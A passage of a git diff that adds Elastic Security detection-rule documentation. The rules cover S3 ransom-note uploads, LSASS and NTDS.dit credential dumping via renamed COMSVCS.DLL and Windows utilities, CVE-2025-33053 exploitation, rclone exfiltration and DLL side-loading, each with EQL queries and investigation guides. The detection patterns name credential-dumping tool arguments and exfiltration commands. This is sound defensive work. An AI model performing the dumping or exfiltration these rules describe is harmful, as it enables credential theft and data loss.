+- Planned tests or red-team exercises +- Benign automation naming. Some data-migration or backup tools may use “readme”/“recovery”-style filenames; validate by `user.agent`, principal, and target environment (dev vs prod). + + + +*Response and remediation* + + +**Immediate, low-risk actions (safe for most environments)** +- **Preserve context** : Export the triggering `PutObject` CloudTrail record(s), plus 15–30 min before/after, to an evidence bucket (restricted access). +- **Snapshot configuration** : Record current bucket settings (Block Public Access, Versioning, Object Lock, Bucket Policy, Lifecycle rules) and any KMS keys used. +- **Quiet the spread** : Pause destructive automation: disable/bypass lifecycle rules that would expire/delete object versions; temporarily pause data pipelines targeting the bucket. +- **Notify owners** : Inform the bucket/application owner(s) and security leadership. + +**Containment options (choose the least disruptive first)** +- **Harden exposure** : If not already enforced, enable `Block Public Access` for the bucket. +- **Targeted deny policy (temporary)** : Add a restrictive bucket policy allowing only IR/admin roles while you scope impact. Reconfirm critical workload dependencies before applying. +- **Credential risk reduction** : If a specific IAM user/key or role is implicated, rotate access keys; for roles, remove risky policy attachments or temporarily restrict with an SCP/deny statement. + +**Evidence preservation** +- Export relevant CloudTrail events, S3 server/access logs (if enabled), AWS Config history for the bucket/policy, and the suspicious object plus its previous versions (if Versioning is enabled). +- Document actor ARN, source IPs, user agent(s), exact `bucketName`/`key`, and timestamps. Maintain a simple chain-of-custody note for collected artifacts. + +**Scope and hunting (same actor/time window)** +- Look for `DeleteObject(s)`, unusual `PutObject` volume, `PutBucketPolicy`, `PutPublicAccessBlock`, `PutBucketVersioning` changes, `PutBucketLifecycleConfiguration`, and cross-account access. +- Cross reference other buckets touched by the same actor/IP; recent IAM changes (new keys, policy/role edits); GuardDuty findings tied to S3/credentials. + +**Recovery (prioritize data integrity)** +- If Versioning is enabled, restore last known-good versions for impacted objects. Consider applying Object Lock legal hold to clean versions during recovery if configured. +- If Versioning is not enabled, recover from backups (AWS Backup, replication targets). Enable Versioning going forward on critical buckets; evaluate Object Lock for high-value data. +- Carefully remove any temporary deny policy only after credentials are rotated, policies re-validated, and no ongoing destructive activity is observed. + +**Post-incident hardening** +- Enforce `Block Public Access`, enable Versioning (and MFA-Delete where appropriate), and review bucket policies for least privilege. +- Ensure continuous CloudTrail data events for S3 are enabled in covered regions; enable/verify GuardDuty S3 protections and alerts routing. +- Add detections for related behaviors (policy tampering, bulk deletes, versioning/lifecycle toggles) and create allowlists for known maintenance windows. + + + +*Additional information* + + +- For further guidance on managing S3 bucket security and protecting against ransomware, refer to the https://docs.aws.amazon.com/AmazonS3/latest/userguide/Welcome.html[AWS S3 documentation] and AWS best practices for security. +- https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/IRP-Ransomware.md[AWS IRP—Ransomware] (NIST-aligned template for evidence, containment, eradication, recovery, post-incident). +- https://github.com/aws-samples/aws-customer-playbook-framework/blob/a8c7b313636b406a375952ac00b2d68e89a991f2/docs/Ransom_Response_S3.md[AWS Customer Playbook—Ransom Response (S3)] (bucket-level response steps: public access blocks, temporary deny, versioning/object lock, lifecycle considerations, recovery). + + +==== Setup + + +AWS S3 data types need to be enabled in the CloudTrail trail configuration to capture PutObject API calls. + +==== Rule query + + +[source, js] +---------------------------------- +file where + data_stream.dataset == "aws.cloudtrail" and + event.provider == "s3.amazonaws.com" and + event.action == "PutObject" and + event.outcome == "success" and + /* Apply regex to match patterns only after the bucket name */ + /* common ransom note file name keywords */ + aws.cloudtrail.resources.arn regex~ "arn:aws:s3:::[^/]+/.*?(how|decrypt|restor|help|instruct|read|get|recov|save|encrypt|info|ransom).*" + and not aws.cloudtrail.resources.arn regex~ ".*(AWSLogs|CloudTrail|access-logs).*" + and not aws.cloudtrail.user_identity.type == "AWSService" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-credential-access-via-renamed-com-services-dll.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-credential-access-via-renamed-com-services-dll.asciidoc new file mode 100644 index 0000000000..3955778fcb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-credential-access-via-renamed-com-services-dll.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-21-potential-credential-access-via-renamed-com-services-dll]] +=== Potential Credential Access via Renamed COM+ Services DLL + +Identifies suspicious renamed COMSVCS.DLL Image Load, which exports the MiniDump function that can be used to dump a process memory. This may indicate an attempt to dump LSASS memory while bypassing command-line based detection in preparation for credential access. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Defense Evasion +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Credential Access via Renamed COM+ Services DLL* + + +COMSVCS.DLL is a Windows library that exports the MiniDump function, which can be used to dump a process memory. Adversaries may attempt to dump LSASS memory using a renamed COMSVCS.DLL to bypass command-line based detection and gain unauthorized access to credentials. + +This rule identifies suspicious instances of rundll32.exe loading a renamed COMSVCS.DLL image, which can indicate potential abuse of the MiniDump function for credential theft. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate any abnormal behavior by the subject process, such as network connections, registry or file modifications, and any spawned child processes. +- Identify the process that created the DLL using file creation events. + - Inspect the file for useful metadata, such as file size and creation or modification time. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable and DLL using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process's `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Look for the presence of relevant artifacts on other systems. Identify commonalities and differences between potentially compromised systems. + + +*False positive analysis* + + +- False positives may include legitimate instances of rundll32.exe loading a renamed COMSVCS.DLL image for non-malicious purposes, such as during software development, testing, or troubleshooting. + + +*Related Rules* + + +- Potential Credential Access via LSASS Memory Dump - 9960432d-9b26-409f-972b-839a959e79e2 +- Suspicious Module Loaded by LSASS - 3a6001a0-0939-4bbe-86f4-47d8faeb7b97 +- Suspicious Lsass Process Access - 128468bf-cab1-4637-99ea-fdf3780a4609 +- LSASS Process Access via Windows API - ff4599cb-409f-4910-a239-52e4e6f532ff + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - If malicious activity is confirmed, perform a broader investigation to identify the scope of the compromise and determine the appropriate remediation steps. +- Implement Elastic Endpoint Security to detect and prevent further post exploitation activities in the environment. + - Contain the affected system by isolating it from the network to prevent further spread of the attack. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Restore the affected system to its operational state by applying any necessary patches, updates, or configuration changes. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +You will need to enable logging of ImageLoads in your Sysmon configuration to include COMSVCS.DLL by Imphash or Original +File Name. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + [process where host.os.type == "windows" and event.category == "process" and + process.name : "rundll32.exe"] + [process where host.os.type == "windows" and event.category == "process" and data_stream.dataset : "windows.sysmon_operational" and event.code == "7" and + (file.pe.original_file_name : "COMSVCS.DLL" or file.pe.imphash : "EADBCCBB324829ACB5F2BBE87E5549A8") and + /* renamed COMSVCS */ + not file.name : "COMSVCS.DLL"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-credential-access-via-windows-utilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-credential-access-via-windows-utilities.asciidoc new file mode 100644 index 0000000000..fc230a35c2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-credential-access-via-windows-utilities.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-21-potential-credential-access-via-windows-utilities]] +=== Potential Credential Access via Windows Utilities + +Identifies the execution of known Windows utilities often abused to dump LSASS memory or the Active Directory database (NTDS.dit) in preparation for credential access. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/ +* https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Credential Access via Windows Utilities* + + +Local Security Authority Server Service (LSASS) is a process in Microsoft Windows operating systems that is responsible for enforcing security policy on the system. It verifies users logging on to a Windows computer or server, handles password changes, and creates access tokens. + +The `Ntds.dit` file is a database that stores Active Directory data, including information about user objects, groups, and group membership. + +This rule looks for the execution of utilities that can extract credential data from the LSASS memory and Active Directory `Ntds.dit` file. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate abnormal behaviors observed by the subject process, such as network connections, registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the command line to identify what information was targeted. +- Identify the target computer and its role in the IT environment. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- If the host is a domain controller (DC): + - Activate your incident response plan for total Active Directory compromise. + - Review the privileges assigned to users that can access the DCs, to ensure that the least privilege principle is being followed and to reduce the attack surface. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +( + ( + (?process.pe.original_file_name : "procdump" or process.name : "procdump.exe") and process.args : "-ma" + ) or + ( + process.name : "ProcessDump.exe" and not process.parent.executable regex~ """C:\\Program Files( \(x86\))?\\Cisco Systems\\.*""" + ) or + ( + (?process.pe.original_file_name : "WriteMiniDump.exe" or process.name : "WriteMiniDump.exe") and + not process.parent.executable regex~ """C:\\Program Files( \(x86\))?\\Steam\\.*""" + ) or + ( + (?process.pe.original_file_name : "RUNDLL32.EXE" or process.name : "RUNDLL32.exe") and + (process.args : "*MiniDump*" or process.command_line : "*comsvcs*#*24*") + ) or + ( + (?process.pe.original_file_name : "RdrLeakDiag.exe" or process.name : "RdrLeakDiag.exe") and + process.args : "/fullmemdmp" + ) or + ( + (?process.pe.original_file_name : "SqlDumper.exe" or process.name : "SqlDumper.exe") and + process.args : "0x01100*") or + ( + (?process.pe.original_file_name : "TTTracer.exe" or process.name : "TTTracer.exe") and + process.args : "-dumpFull" and process.args : "-attach") or + ( + (?process.pe.original_file_name : "ntdsutil.exe" or process.name : "ntdsutil.exe") and + process.args : "cr*fu*") or + ( + (?process.pe.original_file_name : "diskshadow.exe" or process.name : "diskshadow.exe") and process.args : "/s") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Sub-technique: +** Name: NTDS +** ID: T1003.003 +** Reference URL: https://attack.mitre.org/techniques/T1003/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-cve-2025-33053-exploitation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-cve-2025-33053-exploitation.asciidoc new file mode 100644 index 0000000000..15f7a99244 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-cve-2025-33053-exploitation.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-21-potential-cve-2025-33053-exploitation]] +=== Potential CVE-2025-33053 Exploitation + +Identifies a suspicious Diagnostics Utility for Internet Explorer child process. This may indicate the successful exploitation of the vulnerability CVE-2025-33053. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.checkpoint.com/2025/stealth-falcon-zero-day/ +* https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33053 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential CVE-2025-33053 Exploitation* + + + +*Possible investigation steps* + + +- Review the process details to confirm the suspicious child process was indeed started by iediagcmd.exe. +- Check any URL file type creation before the alert and review the source of those files. +- Investigate the process tree and make sure all descendant processes are terminated. +- Examine the network activity associated with the suspicious process to detect any unauthorized data exfiltration or communication with known malicious IP addresses. +- Assess the system for any additional indicators of compromise, such as unexpected changes in system files or registry keys, which might suggest a broader attack. + + +*False positive analysis* + + +- This behavior is very rare and should be highly suspicious. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate the suspicious child process identified in the alert. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement additional monitoring and alerting for similar suspicious activities involving explorer.exe to enhance detection capabilities and prevent recurrence. +- Review and update endpoint security policies to restrict the execution of potentially malicious URL files. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.executable : "C:\\Program Files\\Internet Explorer\\iediagcmd.exe" and + process.name : ("route.exe", "netsh.exe", "ipconfig.exe", "dxdiag.exe", "conhost.exe", "makecab.exe") and + process.executable != null and + not process.executable : ("C:\\Windows\\System32\\route.exe", + "C:\\Windows\\System32\\netsh.exe", + "C:\\Windows\\System32\\ipconfig.exe", + "C:\\Windows\\System32\\dxdiag.exe", + "C:\\Windows\\System32\\conhost.exe", + "C:\\Windows\\System32\\makecab.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-data-exfiltration-via-rclone.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-data-exfiltration-via-rclone.asciidoc new file mode 100644 index 0000000000..902060aaf8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-data-exfiltration-via-rclone.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-21-potential-data-exfiltration-via-rclone]] +=== Potential Data Exfiltration via Rclone + +Identifies abuse of rclone (or a renamed copy, e.g. disguised as a security or backup utility) to exfiltrate data to cloud storage or remote endpoints. Rclone is a legitimate file sync tool; threat actors rename it to blend with administrative traffic and use copy/sync with cloud backends (e.g. :s3:) and include filters to exfiltrate specific file types. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1048/ +* https://rclone.org/commands/rclone_copy/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Exfiltration +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Data Exfiltration via Rclone* + + +Rclone is a legitimate file synchronization tool. Threat actors abuse it (often renamed, e.g. to TrendFileSecurityCheck.exe) to exfiltrate data to S3, HTTP endpoints, or other cloud backends, using `copy`/`sync` with `--include` filters and high `--transfers` to move specific file types at scale. + + +*Possible investigation steps* + + +- Confirm the command line for `copy`/`sync`, cloud backend (e.g. `:s3:`, `:http`), and options like `--include`, `--transfers`, `-P`. +- If the process name is not `rclone.exe`, compare with `process.pe.original_file_name`; a mismatch indicates a renamed copy used to evade name-based detection. +- From the command line, identify the source path (e.g. UNC or local) and the remote backend (S3 bucket, HTTP endpoint) as the exfil destination. +- Review `--include`/`--exclude` and `--max-age`/`--max-size` to understand what data was targeted (documents, CAD, archives, etc.). +- Correlate with the process executable path (recently dropped?), parent process, and user; look for outbound network to the same backend. + + +*False positive analysis* + + +- Legitimate backup or sync jobs using rclone from a known path and config may trigger; allowlist by process path or `--config` path for approved rclone usage. + + +*Response and remediation* + + +- Terminate the rclone process and isolate the host if exfiltration is confirmed. +- Identify and revoke access to the destination (S3 bucket, API keys, etc.); preserve logs for the exfil session. +- Determine scope of data exposed and notify stakeholders; rotate credentials and secrets that may have been in exfiltrated paths. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "rclone.exe" or ?process.pe.original_file_name == "rclone.exe") and process.args : ("copy", "sync") and + not process.args : ("--config=?:\\Program Files\\rclone\\config\\rclone\\rclone.conf", "--config=?:\\Program Files (x86)\\rclone\\config\\rclone\\rclone.conf") and + not process.executable : ("?:\\Program Files*", "\\Device\\HarddiskVolume*\\Program Files*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-dll-side-loading-via-trusted-microsoft-programs.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-dll-side-loading-via-trusted-microsoft-programs.asciidoc new file mode 100644 index 0000000000..4a3af8a151 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-dll-side-loading-via-trusted-microsoft-programs.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-21-potential-dll-side-loading-via-trusted-microsoft-programs]] +=== Potential DLL Side-Loading via Trusted Microsoft Programs + +Identifies an instance of a Windows trusted program that is known to be vulnerable to DLL Search Order Hijacking starting after being renamed or from a non-standard path. This is uncommon behavior and may indicate an attempt to evade defenses via side loading a malicious DLL within the memory space of one of those processes. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Data Source: SentinelOne + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential DLL Side-Loading via Trusted Microsoft Programs* + + +DLL side-loading exploits the DLL search order to load malicious code into trusted Microsoft programs, which are often whitelisted by security tools. Adversaries rename or relocate these programs to execute unauthorized DLLs, evading detection. The detection rule identifies unusual execution paths or renamed instances of these programs, signaling potential misuse and enabling timely threat response. + + +*Possible investigation steps* + + +- Review the process details to confirm the original file name and the path from which the process was executed. Check if the process.pe.original_file_name matches any of the specified trusted programs like "WinWord.exe", "EXPLORER.EXE", "w3wp.exe", or "DISM.EXE". +- Investigate the process execution path to determine if it deviates from the standard paths listed in the query, such as "?:\Windows\explorer.exe" or "?:\Program Files\Microsoft Office\root\Office*\WINWORD.EXE". +- Examine the process creation history and parent process to identify any unusual or suspicious parent-child relationships that might indicate malicious activity. +- Check for any recent file modifications or creations in the directory from which the process was executed, which could suggest the presence of a malicious DLL. +- Correlate the event with other security logs or alerts from data sources like Elastic Endgame, Elastic Defend, Sysmon, or Microsoft Defender XDR to gather additional context and identify potential patterns of malicious behavior. +- Assess the risk and impact of the event by considering the risk score and severity level provided, and determine if immediate containment or further investigation is necessary. + + +*False positive analysis* + + +- Legitimate software updates or installations may temporarily execute trusted Microsoft programs from non-standard paths. Users can create exceptions for known update processes to prevent false alerts. +- Custom enterprise applications might use renamed instances of trusted Microsoft programs for legitimate purposes. Identify and whitelist these specific applications to avoid unnecessary alerts. +- Virtual environments or sandboxed applications may execute trusted programs from unusual paths as part of their normal operation. Review and exclude these environments if they are known and trusted. +- Security or 